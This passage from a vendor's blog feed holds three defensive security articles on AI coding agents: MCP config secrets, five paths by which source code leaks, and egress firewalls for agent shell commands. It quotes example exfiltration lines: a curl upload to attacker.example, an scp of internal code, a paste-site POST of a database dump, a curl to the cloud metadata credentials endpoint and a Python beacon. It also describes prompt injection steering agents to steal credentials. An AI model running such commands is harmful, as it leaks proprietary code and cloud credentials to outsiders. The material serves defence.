<li>Over-broad tool scopes</li>
</ul>
<p>OWASP LLM02 Sensitive Information Disclosure applies when MCP tools return secrets or internal code to the model.</p>
<p>Developers adopt MCP because it is fast—not because InfoSec reviewed the publisher. Your governance page should treat new MCP server names like new npm dependencies: owner, data classification, and review date. The weekly review in small-team AI governance explicitly reserves five minutes for “MCP servers seen in sessions that are not on the allowlist.”</p>
<h2>Problem 1: secrets in MCP configs</h2>
<p>Public registries are not secret-safe. GitGuardian analyzed repositories from the Smithery.ai MCP registry and reported: “202 of them leaked at least one secret. That’s 5.2% of all the repositories.” (A look into the secrets of MCP, April 2025.)</p>
<p>In public MCP configuration files more broadly, GitGuardian’s 2026 secrets sprawl report found “24,008 unique secrets in public MCP configuration files, 2,117 of them valid.” (AI coding agents and credential security, September 2026.)</p>
<h3>Where configs live (verify before audit)</h3>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Typical MCP config location</th>
</tr>
</thead>
<tbody><tr>
<td>Claude Code</td>
<td><code>~/.claude.json</code> and project <code>.mcp.json</code></td>
</tr>
<tr>
<td>Cursor</td>
<td><code>.cursor/mcp.json</code> or <code>~/.cursor/mcp.json</code></td>
</tr>
<tr>
<td>VS Code / Copilot</td>
<td><code>.vscode/mcp.json</code></td>
</tr>
<tr>
<td>Antigravity</td>
<td><code>~/.gemini/config/mcp_config.json</code>; OAuth tokens in <code>~/.gemini/antigravity/mcp_oauth_tokens.json</code></td>
</tr>
<tr>
<td>Codex</td>
<td><code>~/.codex/config.toml</code> under <code>[mcp_servers]</code></td>
</tr>
</tbody></table>
<p><strong>Fixes:</strong></p>
<ul>
<li>Reference environment variables or a secret manager—never commit tokens.</li>
<li>Add MCP config paths to secret scanning in CI and on dotfile repos.</li>
<li>Rotate any token that ever lived in a committed JSON file.</li>
</ul>
<p>Example safe pattern in JSON (fake placeholder only):</p>
<pre><code class="language-json">{
  "mcpServers": {
    "example": {
      "env": {
        "API_TOKEN": "${env:EXAMPLE_API_TOKEN}"
      }
    }
  }
}
</code></pre>
<p>Never paste a live token into documentation, tickets, or this blog’s issue tracker.</p>
<h2>Problem 2: unvetted servers</h2>
<p>Treat every MCP server like installing a mini SaaS integration:</p>
<ol>
<li><strong>Allowlist</strong> approved server names and publishers.</li>
<li><strong>Pin versions</strong> or package hashes where the tool supports it.</li>
<li><strong>Prefer read-only scopes</strong> until you understand data flow.</li>
<li><strong>Use vendor admin controls:</strong> Claude managed settings, Cursor team policies, Copilot enterprise MCP management where available.</li>
</ol>
<p>Distribution channels matter. ReclaimLLM’s agent plugin marketplaces (June 2026) are one path—your allowlist process should cover marketplaces, not just npm installs.</p>
<p>GitHub documents that content exclusion does not guarantee the same boundaries for third-party MCP servers—plan accordingly.</p>
<h2>Problem 3: what the server can reach</h2>
<h3>Hooks see agent-initiated MCP tool calls</h3>
<table>
<thead>
<tr>
<th>Client</th>
<th>How ReclaimLLM observes MCP</th>
</tr>
</thead>
<tbody><tr>
<td>Cursor</td>
<td>Dedicated <code>beforeMCPExecution</code> / <code>afterMCPExecution</code> events (hooks docs recommend <code>failClosed: true</code> for security-critical MCP hooks—ReclaimLLM’s installer does <strong>not</strong> set <code>failClosed</code> by default)</td>
</tr>
<tr>
<td>Codex</td>
<td>Tool names with prefix <code>mcp__&lt;server&gt;__&lt;tool&gt;</code>; Codex CLI parses hook output but does not apply <code>updatedMCPToolOutput</code> today—a CLI limitation</td>
</tr>
<tr>
<td>Claude Code</td>
<td>MCP calls use the same PreToolUse / PostToolUse path as other tools, identified by tool name only</td>
</tr>
</tbody></table>
<p>Copilot and VS Code agent hooks with MCP capture (Oct 2026) extend the same normalized tool-call model ReclaimLLM uses for sessions (normalized session tool calls).</p>
<p>When the hook runs, recognized <code>.env</code> DLP is fail-closed for that class. Hook <strong>crash</strong> or <strong>timeout</strong> can still fail open—complement hooks with coverage detection, not assumptions.</p>
<h3>Network egress is not the same as MCP inspection</h3>
<p>The pre-execution egress guard covers agent shell commands and similar paths on Claude Code, Cursor, Antigravity, Codex, and Copilot. It does <strong>not</strong> inspect traffic emitted by an MCP server process on its own socket—that traffic never passes through the shell guard.</p>
<p>Post-session, AD-015 external network egress anomaly detection flags suspicious outbound patterns in captured sessions for Claude Code, Cursor, Codex CLI, GitHub Copilot, Gemini CLI, Windsurf, and OpenCode. It is <strong>not</strong> general MCP traffic inspection: among native tool names, AD-015 treats an exact match on <code>mcp_fetch</code> like other web-fetch tools. It does <strong>not</strong> cover Antigravity in the AD-015 client list—do not conflate egress guard (which does cover Antigravity) with AD-015 coverage.</p>
<p>If an MCP server wraps HTTP fetches, the agent may expose code to that server <strong>without</strong> a shell <code>curl</code>. That is why MCP allowlists and hook capture matter alongside egress guard—layered controls, not one checkbox.</p>
<h2>MCP gateway vs hooks vs enterprise LLM gateway</h2>
<table>
<thead>
<tr>
<th>Control</th>
<th>Sees</th>
<th>Misses</th>
</tr>
</thead>
<tbody><tr>
<td>MCP gateway / proxy</td>
<td>Remote MCP HTTP traffic you route through it</td>
<td>Local stdio servers, direct configs on disk</td>
</tr>
<tr>
<td>Agent hooks</td>
<td>MCP tool calls the agent makes (inputs; output rewriting varies by client)</td>
<td>Hook failure modes, uninstall, tools bypassing the agent</td>
</tr>
<tr>
<td>Enterprise LLM gateway</td>
<td>Model API requests you proxy</td>
<td>MCP entirely, local file reads</td>
</tr>
</tbody></table>
<p>ReclaimLLM’s enterprise LLM gateway is an LLM gateway—provider keys and model policy—not an MCP gateway. Say that plainly in architecture diagrams.</p>
<h2>Our own MCP server, held to the same rules</h2>
<p>ReclaimLLM ships an MCP server (May 2026) with a growing set of read and replay tools—search sessions, file brief, replay compression experiments, and related helpers. See MCP tools and skills for the current list rather than duplicating it here.</p>
<p>The local API key resolved from env or hook config grants <strong>read access</strong> to session data—the same class of secret as any other MCP token. Store it in a secret manager, rotate on offboarding, and never commit it to <code>.mcp.json</code>.</p>
<p>Antigravity documents MCP setup separately (Antigravity MCP); OAuth token files sit beside JSON config. Include both in quarterly dotfile scans—the token file is as sensitive as the config entry it pairs with.</p>
<p>When MCP tools pull <strong>source code</strong> into third-party APIs, you are in source-code leakage territory, not just secrets. Read source code leakage through AI assistants for the five-path map; this post owns MCP configuration and tool-call visibility.</p>
<h2>MCP security checklist (copyable)</h2>
<ul>
<li><input disabled type="checkbox" /> Inventory MCP configs per tool path in the table above.</li>
<li><input disabled type="checkbox" /> Remove inline secrets; use env var indirection.</li>
<li><input disabled type="checkbox" /> Publish an allowlist of server names and owners.</li>
<li><input disabled type="checkbox" /> Install hooks and verify MCP rows appear in session detail.</li>
<li><input disabled type="checkbox" /> Route P0 secret alerts to an owner (AD-004).</li>
<li><input disabled type="checkbox" /> Review third-party MCP in content-exclusion gaps (Copilot docs).</li>
<li><input disabled type="checkbox" /> Quarterly: re-scan dotfiles and rotate OAuth token files (Antigravity path).</li>
</ul>
<p>Data residency for captured sessions: <strong>US or EU</strong> only. Encrypted storage for Paid/Enterprise is <strong>not zero-knowledge</strong>. SOC 2 Type II <strong>targeted early 2027</strong>—not certified today.</p>
<h2>Next step</h2>
<p>See every MCP tool call your agents make—start free. Product overview: AI coding assistant DLP. Operator guide: MCP tools and skills.</p>
<h2>FAQ</h2>
<h3>What is an MCP security gateway?</h3>
<p>A proxy that terminates MCP HTTP traffic so you can authenticate, log, and policy-check remote servers. It does not replace hooks for local stdio servers unless you re-architect how developers launch MCP.</p>
<h3>Where are MCP server credentials stored in Cursor / Claude Code / Antigravity?</h3>
<p>Typically JSON or TOML under the paths in the table above—often plaintext unless you substitute environment variables. Antigravity also stores OAuth tokens in <code>~/.gemini/antigravity/mcp_oauth_tokens.json</code>.</p>
<h3>Are MCP servers safe to install?</h3>
<p>They are only as safe as the publisher and the scopes you grant. Assume compromise until vetted; use allowlists and least privilege.</p>
<h3>Can hooks block MCP tool calls?</h3>
<p>Yes, when the hook runs and the client honors deny decisions—Cursor documents fail-closed MCP hooks if you set <code>failClosed: true</code>. ReclaimLLM does not set that flag automatically. Crash and timeout behavior remains a separate risk.</p>
<h3>Does an LLM gateway secure MCP traffic?</h3>
<p>No. The enterprise LLM gateway secures model API calls routed through ReclaimLLM—not MCP stdio servers or arbitrary MCP HTTP unless you add a separate MCP proxy.</p>
<blockquote>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/mcp-security-coding-agents">https://reclaimllm.com/blogs/mcp-security-coding-agents</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Source code leakage through AI coding assistants: 5 paths and the control for each]]></title><description><![CDATA[This article was originally published on ReclaimLLM: Proprietary code leaves via provider context, agent reads, cloud agents, MCP tools, and shell egress…]]></description><link>https://reclaimllm-blog.hashnode.dev/source-code-leakage-through-ai-coding-assistants-5-paths-and-the-control-for-each</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/source-code-leakage-through-ai-coding-assistants-5-paths-and-the-control-for-each</guid><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 31 Oct 2026 14:05:58 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/source-code-leakage-ai-assistants">https://reclaimllm.com/blogs/source-code-leakage-ai-assistants</a></p>
</blockquote>
<p>Proprietary code leaves via provider context, agent reads, cloud agents, MCP tools, and shell egress. The five paths, who controls each, and what to turn on first.</p>
<h2>Executive summary</h2>
<ul>
<li>Separates source-code leakage from secrets leakage into five paths: provider terms, agent reads, cloud agents, MCP tools, and shell egress.</li>
<li>Each path maps to a vendor control and a team control, plus what evidence you can show.</li>
<li>Cursor <code>readBoundary</code> defaults to <code>"system"</code> (not <code>"workspace"</code>); set <code>"workspace"</code> deliberately.</li>
<li>Egress guard covers Claude, Cursor, Antigravity, Codex, and Copilot; AD-015’s announced client list does not include Antigravity.</li>
</ul>
<p>AI coding assistants send code to model providers on many requests—not only when a developer explicitly pastes a snippet. Leakage risk comes from <strong>five paths</strong>: provider retention and training settings, what the agent reads locally, cloud agents running in vendor environments, MCP tools forwarding context to third parties, and shell commands that upload files. Secrets are a related but distinct problem; see prevent API keys and <code>.env</code> from AI coding tools. This article is about <strong>proprietary source</strong> and who controls each exit.</p>
<p>For hook-level DLP definitions, what is AI DLP stays the category post; AI coding assistant security without MDM covers coverage detection.</p>
<h2>Path 1: prompts and context sent to the provider</h2>
<p>Every completion request can include open files, @-mentioned paths, and tool output the agent already read. What the vendor retains or uses for training depends on plan and settings—quote their pages for your tier, and re-check before renewals.</p>
<table>
<thead>
<tr>
<th>Vendor</th>
<th>Starting point for your policy doc</th>
</tr>
</thead>
<tbody><tr>
<td>Claude Code</td>
<td>Data usage</td>
</tr>
<tr>
<td>Cursor</td>
<td>Data use &amp; Privacy Mode</td>
</tr>
<tr>
<td>Copilot</td>
<td>GitHub Copilot trust and data docs for Business/Enterprise</td>
</tr>
</tbody></table>
<p><strong>Team control:</strong> approved plans only; enforce Privacy Mode or equivalent org-wide; block personal API keys on company repos via gateway routing where possible (enterprise LLM gateway).</p>
<p><strong>Evidence:</strong> contract appendix listing approved subprocessors; less often a automatic export from the vendor.</p>
<p>Agencies answering “do you use AI on our code?” should cite <strong>plan names and dates</strong> from vendor pages, not marketing slogans. If Privacy Mode or zero-retention options exist for your tier, record who verified the toggle (screenshot + date) in your evidence folder—the same folder you use for SOC 2 evidence prep for AI tools.</p>
<h2>Path 2: what the agent reads</h2>
<p>Agents read whole files and directories—not only the tab visible in the IDE. A single <code>@</code> reference or autonomous search can pull internal modules, fork-specific code, or client deliverables into context.</p>
<p><strong>Vendor controls:</strong></p>
<ul>
<li>Permission deny rules and ignore files (Claude, Copilot content exclusion—note symlink and remote filesystem limits GitHub documents).</li>
<li>Cursor sandbox <code>readBoundary</code>: defaults to <code>"system"</code>, not <code>"workspace"</code>. Tighten to <code>"workspace"</code> in <code>~/.cursor/sandbox.json</code> or <code>&lt;workspace&gt;/.cursor/sandbox.json</code> if your threat model requires it; team policies may layer on top and cannot be weakened locally.</li>
</ul>
<p><strong>Team controls:</strong></p>
<ul>
<li>Hook folder exclusion and string replacement redaction (local redaction—not semantic).</li>
<li>When the hook runs, recognized <code>.env</code> reads are sanitized or denied; hook <strong>crash</strong> or <strong>timeout</strong> can fail open unless you configure vendor failure modes—ReclaimLLM’s installer does not set Claude <code>onFailure</code> or Cursor <code>failClosed</code>.</li>
</ul>
<p><strong>Evidence:</strong> Project-scoped file lineage (Paid/Enterprise) and sensitive file access reviews in the admin console.</p>
<p>Ignore files (<code>.cursorignore</code>, <code>.claudeignore</code>) reduce noise; they are <strong>not</strong> a DLP boundary on their own—see why <code>.cursorignore</code> is not DLP if your team conflates the two. Deny rules plus hooks address agent Read paths; ignore files alone do not stop a determined <code>@</code> reference in every client.</p>
<p>Monorepos amplify read risk: one agent session can traverse packages the developer never opened manually. File lineage answers “which paths entered context?” faster than guessing from chat scrollback.</p>
<h2>Path 3: cloud and background agents</h2>
<p>Some workflows run outside the laptop:</p>
<ul>
<li>GitHub Copilot coding agent runs in “a cloud sandbox, a GitHub Actions runner, or a remote custom environment” per GitHub’s coding agent docs—not your local disk.</li>
<li>Cursor cloud agents execute in Cursor’s remote environment; Cursor documents that project <code>.cursor/hooks.json</code> runs, with team/enterprise hooks on Enterprise tiers.</li>
<li>Codex cloud features follow OpenAI’s current product boundaries—verify agent approvals &amp; security for sandbox modes on CLI vs cloud.</li>
</ul>
<p><strong>Team controls:</strong></p>
<ul>
<li>Repo owners/admins can disable Copilot features per repository even when org policy allows them elsewhere.</li>
<li>Branch protection can block Copilot from opening or updating pull requests unless bypass is explicitly configured.</li>
<li>Treat cloud agents like CI: only on repos whose contracts permit third-party compute.</li>
</ul>
<p><strong>Evidence:</strong> GitHub audit and Copilot activity logs where your plan exposes them; ReclaimLLM captures local agent sessions—not vendor cloud VMs unless hooks run there.</p>
<h2>Path 4: MCP tools and plugins</h2>
<p>MCP servers and plugins can receive file excerpts, search results, or tool payloads and forward them to external APIs. GitHub states content exclusion is <strong>not guaranteed</strong> for third-party MCP servers.</p>
<p><strong>Team controls:</strong> MCP allowlists, config secret hygiene, hook visibility into MCP tool calls—see MCP security for coding agents.</p>
<p><strong>Evidence:</strong> Normalized MCP tool rows in session detail (Copilot MCP capture).</p>
<h2>Path 5: shell egress</h2>
<p>Agents run shell commands. Exfiltration looks like ordinary dev work until you read the URL:</p>
<pre><code>curl -F "file=@./src.zip" https://attacker.example/upload
scp -r ./internal-api user@host:
</code></pre>
<p><strong>Team controls:</strong> Pre-execution egress guard on Claude Code, Cursor, Antigravity, Codex, and Copilot—confirmed in ReclaimLLM’s shared hook handlers shipped Oct 28, 2026. Antigravity ships with this DLP and egress stack as product behavior.</p>
<p>Post-session, AD-015 detects anomalous outbound patterns for Claude Code, Cursor, Codex CLI, GitHub Copilot, Gemini CLI, Windsurf, and OpenCode. AD-015 does not list Antigravity—use egress guard for prevention on Antigravity and AD-015 where supported for detection. AD-015 flags a tool named exactly <code>mcp_fetch</code> among native web tools; it does not inspect MCP server process traffic.</p>
<p>Prompt-injection driven exfil remains a research topic—see PromptArmor’s Antigravity analysis and Antigravity and Codex secret leaks for paired controls.</p>
<p>Deep dive on firewall semantics: stopping AI agent network exfiltration.</p>
<h2>The leakage matrix</h2>
<table>
<thead>
<tr>
<th>Path</th>
<th>Vendor control</th>
<th>Team control</th>
<th>Evidence</th>
</tr>
</thead>
<tbody><tr>
<td>Provider prompts</td>
<td>Plan terms, Privacy Mode</td>
<td>Approved plans, gateway keys</td>
<td>Contracts, settings screenshots</td>
</tr>
<tr>
<td>Agent reads</td>
<td>Deny rules, sandbox <code>readBoundary</code></td>
<td>Hooks, folder exclusion</td>
<td>File lineage, sensitive reviews</td>
</tr>
<tr>
<td>Cloud agents</td>
<td>Repo feature flags</td>
<td>Policy per repo/client</td>
<td>Vendor logs</td>
</tr>
<tr>
<td>MCP</td>
<td>Server approval features</td>
<td>Allowlist, hook capture</td>
<td>Session tool calls</td>
</tr>
<tr>
<td>Shell egress</td>
<td>Sandbox network (where exists)</td>
<td>Egress guard</td>
<td>AD-015 where supported</td>
</tr>
</tbody></table>
<h2>Where your code goes when you use ReclaimLLM</h2>
<p>ReclaimLLM <strong>captures what the agent saw and did</strong> in sessions you choose to upload—another copy of content that already reached the model or local transcript. Scope capture with retention policy, legal hold, and sharing rules in admin settings.</p>
<ul>
<li><strong>Region:</strong> US or EU at org creation; region switch is permanent (data residency).</li>
<li><strong>Encryption:</strong> Paid/Enterprise encrypted session storage with org recovery key—<strong>not zero-knowledge</strong>.</li>
<li><strong>Deletion:</strong> Account deletion flows per deferred deletion policy.</li>
<li><strong>Compliance:</strong> SOC 2 Type II <strong>targeted early 2027</strong>—not certified today. No self-hosting offering.</li>
</ul>
<p>Honest framing: capture helps audits and investigations; it does not reduce provider-side retention unless you also configure vendor settings.</p>
<p>Transcripts on disk are another code copy—after a sensitive read, assume JSONL under <code>~/.claude/projects/</code> or Cursor agent-transcripts may retain file contents even when the chat UI moved on. AI coding transcripts as a secret store covers purge and scan; this post covers <strong>policy</strong> for proprietary source.</p>
<p>Trust page: ReclaimLLM security for subprocessors and residency; confirm against your org’s DPA before customer send.</p>
<h2>What to tell clients (template—not legal advice)</h2>
<pre><code>We use [approved tools list] on [repos/classes of repos].
We do not use personal/free tiers on client code.
Privacy Mode / Business terms: [on/off per vendor doc date].
Cloud agents: [enabled/disabled] for client repos.
Subprocessors include model providers listed in our DPA.
Evidence available on request: file lineage exports, session metadata, audit log CSV.
Questions: [security contact]
</code></pre>
<p>Have counsel review before customer signature—this box is operational language only.</p>
<h2>Next step</h2>
<p>See which files your agents read—start free. Combine with AI coding assistant DLP and egress firewall details.</p>
<h2>FAQ</h2>
<h3>Do AI coding assistants train on my code?</h3>
<p>It depends on the product, plan, and toggles such as Privacy Mode or enterprise terms. Read each vendor’s current data page for your subscription—do not rely on forum posts.</p>
<h3>Can AI coding tools leak source code?</h3>
<p>Yes—through model requests, autonomous reads, cloud agents, MCP forwarding, or shell uploads. Each path needs its own control; there is no single “secure mode.”</p>
<h3>Is it safe to use Copilot, Cursor, or Claude Code on client code?</h3>
<p>Many teams do safely with Business/Enterprise tiers, contractual authorization, deny rules, hooks, and evidence exports. Your client contract and industry rules determine whether you may—not the tool name alone.</p>
<h3>How do I prove which files an AI agent read?</h3>
<p>Use vendor logs where available and ReclaimLLM file lineage plus sensitive file reviews for hooked sessions. Export CSV from the admin console for audit folders.</p>
<h3>Does ReclaimLLM store my source code?</h3>
<p>ReclaimLLM stores captured session content—including file reads and tool output you configured for capture—in US or EU with retention you set. It is encrypted at rest on Paid/Enterprise with an org-held key, not zero-knowledge. Treat capture as an additional copy to govern.</p>
<blockquote>
<p>Originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/source-code-leakage-ai-assistants">https://reclaimllm.com/blogs/source-code-leakage-ai-assistants</a></p>
</blockquote>
]]></content:encoded></item><item><title><![CDATA[Coding agents with curl: stopping outbound data exfiltration with egress firewalls and anomaly detection]]></title><description><![CDATA[This article was originally published on ReclaimLLM: Coding agents can upload source code, query cloud metadata, and reach foreign endpoints. How…]]></description><link>https://reclaimllm-blog.hashnode.dev/coding-agents-with-curl-stopping-outbound-data-exfiltration-with-egress-firewalls-and-anomaly-detection</link><guid isPermaLink="true">https://reclaimllm-blog.hashnode.dev/coding-agents-with-curl-stopping-outbound-data-exfiltration-with-egress-firewalls-and-anomaly-detection</guid><dc:creator><![CDATA[ReclaimLLM]]></dc:creator><pubDate>Sat, 31 Oct 2026 14:03:25 GMT</pubDate><content:encoded><![CDATA[<blockquote>
<p>This article was originally published on ReclaimLLM: <a href="https://reclaimllm.com/blogs/stopping-ai-agent-network-exfiltration-egress-firewall">https://reclaimllm.com/blogs/stopping-ai-agent-network-exfiltration-egress-firewall</a></p>
</blockquote>
<p>Coding agents can upload source code, query cloud metadata, and reach foreign endpoints. How post-execution anomaly detection (AD-015) and pre-tool egress firewalls stop it.</p>
<p>Autonomous AI coding agents are different from chat interfaces in one critical way: they have access to an active shell.</p>
<p>When Claude Code, Cursor, Antigravity, Codex, or GitHub Copilot work on a software project, they do not merely output code suggestions. They inspect directories, run build scripts, compile binaries, and execute terminal commands. When an agent encounters missing dependencies, needs documentation, or attempts to debug an error, it reaches for standard networking tools: <code>curl</code>, <code>wget</code>, <code>httpie</code>, <code>scp</code>, <code>python -c "import requests..."</code>, or native web fetch utilities.</p>
<p>In an ideal world, every outbound connection is an innocent query to a public API or official package registry. In reality, shell access turns an autonomous agent into an uncontrolled exfiltration channel.</p>
<p>Whether prompted by a developer, nudged by a rogue prompt injection in an open-source issue, or executing a poisoned npm package, an agent with shell access can:</p>
<ul>
<li>Upload proprietary codebases, database dumps, or <code>.env</code> files to external webhooks or pastebins.</li>
<li>Query cloud instance metadata endpoints (<code>169.254.169.254</code>) to steal temporary IAM role credentials.</li>
<li>Connect to command-and-control servers or remote infrastructure in high-risk foreign jurisdictions.</li>
<li>Scan internal corporate subnets and proxy gateways during autonomous debugging loops.</li>
</ul>
<p>Traditional enterprise security tools—corporate forward proxies, VPNs, and host firewalls—fail to address this threat on modern engineering laptops. This guide breaks down the four real-world egress attack surfaces, explains why legacy network perimeters fail, and details how two complementary defense layers—AD-015 anomaly detection and pre-execution hook firewalls—stop unauthorized outbound network traffic before packets leave the machine.</p>
<p><strong>TL;DR</strong></p>
<ul>
<li><strong>The Problem:</strong> Coding agents with shell privileges routinely execute <code>curl</code>, <code>wget</code>, <code>scp</code>, and script-based HTTP calls, creating an unmonitored channel for data exfiltration and metadata SSRF attacks.</li>
<li><strong>Why Perimeters Fail:</strong> Corporate proxies and VPNs are frequently bypassed by off-network developers, while host-level OS firewalls (<code>iptables</code>, <code>pf</code>) require root privileges and cannot distinguish agent tool calls from developer actions.</li>
<li><strong>Layer 1 (AD-015 Detection):</strong> Scans session tool calls deterministically for uploads, file transfers, recon chaining, and metadata queries with zero-exfiltration evidence.</li>
<li><strong>Layer 2 (Pre-Execution Guard):</strong> Synchronously intercepts agent tool calls in the client hook across Claude, Cursor, Antigravity, Codex, and Copilot, returning an immediate <code>deny</code> verdict before subprocesses spawn.</li>
<li><strong>Offline Microsecond GeoIP:</strong> Bundled binary-search country engine resolves 238 ISO-2 countries in ~25µs with zero external API calls or latency.</li>
<li><strong>Wildcard Safe Lists &amp; SSRF Hard Boundary:</strong> Supports globs (<code>*.company.com</code>) and regex patterns, while cloud metadata endpoints (<code>169.254.169.254</code>) remain permanently unallowlistable.</li>
</ul>
<h2>The 60-Second Demonstration: How Agents Exfiltrate Data</h2>
<p>To understand why network egress requires agent-aware controls, consider a realistic scenario: an agent is tasked with debugging an unexpected database migration failure.</p>
<p>Finding that the local Postgres instance has failed, the agent attempts to inspect the local environment, encounters an error, and decides to send a diagnostic dump to an external logging service:</p>
<pre><code># What the agent runs in its terminal tool:
curl -X POST https://paste.example.com/api/dump \
  -H "Content-Type: application/json" \
  -d @./db/schema_dump.sql
</code></pre>
<p>To a static code analysis tool or an endpoint file watcher, nothing suspicious occurred: no git commit was made, and <code>curl</code> is a standard binary on every developer's machine. But within seconds, internal database schemas and customer table structures were transmitted to a third-party server.</p>
<p>Even worse, if an agent is tricked via indirect prompt injection (for instance, inside a malicious README or third-party test file), it can be instructed to harvest cloud credentials:</p>
<pre><code># Agent querying cloud metadata:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/production-role
</code></pre>
<p>Within a single tool turn, temporary AWS STS credentials are read into the agent's context and returned in the chat session.</p>
<h2>The Four Attack Surfaces of Agent Egress</h2>
<p>Network exfiltration from an AI coding agent does not happen through a single predictable tool. Agents adapt dynamically, operating across four distinct surfaces:</p>
<pre><code>┌────────────────────────────────────────────────────────┐
│                   AI Coding Agent                      │
└──────┬───────────────────┬──────────────────┬──────────┘
       │ Surface 1         │ Surface 2        │ Surface 3        │ Surface 4
       ▼                   ▼                  ▼                  ▼
  Shell HTTP/Web      File Transfer     Script Runners     Cloud SSRF / Recon
  • curl -d @file     • scp code.tar    • python requests  • 169.254.169.254
  • wget -O- ...      • sftp, rsync     • node fetch()     • metadata.google
  • WebFetch(url)     • nc, socat       • deno, ruby net   • internal port scan
</code></pre>
<h3>Surface 1: Shell HTTP and Web Fetching</h3>
<p>The most common egress path. The agent invokes command-line clients (<code>curl</code>, <code>wget</code>, <code>httpie</code>) or built-in web fetch tools (<code>WebFetch</code>, <code>fetch_web_page</code>). These are frequently used to download documentation, but they are equally capable of executing <code>POST</code> or <code>PUT</code> payloads containing file contents.</p>
<h3>Surface 2: File Transfer Protocols</h3>
<p>When transferring artifacts or backing up files, agents often attempt remote file copies via <code>scp</code>, <code>sftp</code>, <code>rsync</code>, or raw socket pipes (<code>nc</code>, <code>socat</code>). These bypass standard HTTP logging layers and communicate directly over SSH or custom TCP ports.</p>
<h3>Surface 3: Script-Embedded HTTP Clients</h3>
<p>When direct shell utilities are restricted or fail, the agent writes and executes inline scripts:</p>
<pre><code># Agent executes inline Python to bypass command-name checks:
python3 -c "import urllib.request; urllib.request.urlopen('http://remote.host/beacon')"
</code></pre>
<p>Because the command being executed is <code>python3</code>, simple rule engines that only look for the word <code>curl</code> miss the outbound HTTP request entirely.</p>
<h3>Surface 4: Cloud Metadata SSRF and Reconnaissance Chaining</h3>
<p>When operating on cloud workstations, EC2 instances, or remote devboxes, agents can probe cloud metadata IP addresses (<code>169.254.169.254</code>, <code>metadata.google.internal</code>) or execute reconnaissance loops (<code>nmap</code>, port sweeps) against internal corporate subnets.</p>
<h2>Why Traditional Network Controls Fail on Developer Machines</h2>
<p>Security teams often ask: “Can't our existing corporate forward proxy or host firewall handle this?”</p>
<p>In practice, existing enterprise network tools fail on developer workstations for three architectural reasons:</p>
<ol>
<li><strong>Developers Work Off-Perimeter:</strong> Modern engineers work remotely, across home networks, coffee shops, and mobile hotspots. Enforcing strict VPN or forward proxy routing causes developer backlash, increases latency for package downloads, and is easily toggled off by developers with local admin rights.</li>
<li><strong>Proxies Lack Agent Context:</strong> A forward proxy sees an outbound TLS connection to <code>github.com</code> or <code>aws.amazon.com</code>. It cannot tell whether that connection was initiated by a human developer running <code>git push</code> or an autonomous agent uploading an unredacted <code>.env</code> file via a shell tool.</li>
<li><strong>Kernel Firewalls Break Workflows:</strong> Enforcing host firewalls via <code>iptables</code>, <code>pf</code>, or kernel eBPF modules requires root/sudo access, creates cross-platform maintenance headaches across macOS, Linux, and Windows, and frequently breaks Docker containers, local minikubes, and development servers.</li>
</ol>
<p>To govern AI agents safely without obstructing engineering velocity, controls must operate <strong>at the agent tool layer itself</strong>.</p>
<h2>Defense in Depth: The Two-Layer Protection Architecture</h2>
<p>ReclaimLLM implements a dual-layer security model combining post-session detection with real-time pre-execution prevention:</p>
<pre><code>┌────────────────────────────────────────────────────────┐
│               Developer Terminal / IDE                 │
│                                                        │
│  ┌──────────────────────────────────────────────────┐  │
│  │ AI Coding Agent (Claude, Cursor, Codex, Copilot) │  │
│  └─────────────────────────┬────────────────────────┘  │
│                            │ Tool Invocation           │
│                            ▼                           │
│  ┌──────────────────────────────────────────────────┐  │
│  │ Layer 2: Pre-Execution Hook Egress Guard         │  │
│  │ • Local Loopback Bypass (0 overhead)             │  │
│  │ • Wildcard Safe List Check                       │  │
│  │ • 25µs Offline Country Firewall                  │  │
│  │ • Metadata SSRF Hard Deny                        │  │
│  └─────────────┬──────────────────────────┬─────────┘  │
│        Allowed │                          │ Denied     │
│                ▼                          ▼            │
│       Subprocess Executes        Tool Refused          │
│                │                 (Packet Never Leaves) │
│                ▼                                       │
│  ┌──────────────────────────────────────────────────┐  │
│  │ Layer 1: AD-015 Anomaly Detector &amp; Alerts        │  │
│  │ • Hourly / Daily Session Scan                    │  │
│  │ • Upload Payload &amp; Recon Detection               │  │
│  │ • Zero-Exfiltration Audit Evidence               │  │
│  └──────────────────────────────────────────────────┘  │
└────────────────────────────────────────────────────────┘
</code></pre>
<h2>Layer 1: Deterministic Anomaly Detection (AD-015)</h2>
<p>The first line of defense is <strong>AD-015: External Network Egress Anomaly Detection</strong>. AD-015 is a deterministic backend detector that monitors normalized tool executions across all developer sessions.</p>
<p>Unlike black-box AI detectors that re-feed prompts into another expensive LLM, AD-015 parses captured tool calls deterministically, categorizing activity into calibrated severity levels:</p>
<table>
<thead>
<tr>
<th>Severity</th>
<th>Triggers &amp; Behaviors</th>
<th>Recommended Security Action</th>
</tr>
</thead>
<tbody><tr>
<td>Warning</td>
<td>Outbound requests to unknown external domains or uncataloged IPs without upload payloads.</td>
<td>Review in morning daily digest; verify if the external host should be added to the safe list.</td>
</tr>
<tr>
<td>High</td>
<td>Data upload flags (<code>-d</code>, <code>--data</code>, <code>-F</code>, <code>--upload-file</code>), file transfer utilities (<code>scp</code>, <code>rsync</code>), or script-driven HTTP requests (<code>python requests</code>).</td>
<td>Immediate investigation of the session trace to verify whether source code or tokens were transferred.</td>
</tr>
<tr>
<td>Critical (P0)</td>
<td>Cloud metadata SSRF attempts (<code>169.254.169.254</code>), connections to banned countries, or egress combined with sensitive file access (AD-004 correlation).</td>
<td>Instant P0 alert via Amazon SES. Immediate revocation of compromised credentials and session isolation.</td>
</tr>
</tbody></table>
<h3>Zero-Exfiltration Evidence</h3>
<p>An alert system must never cause a data leak of its own. When AD-015 flags an anomalous egress event, the stored audit evidence includes:</p>
<ul>
<li>Target hostname, resolved IP address, destination port, and HTTP method.</li>
<li>Anomaly classification and correlated session ID.</li>
<li>Evidence NEVER contains: Full shell command lines, uploaded payload bytes, authorization headers, or private token values.</li>
</ul>
<h2>Layer 2: Pre-Execution Hook Egress Guard (Halting Packets at the Source)</h2>
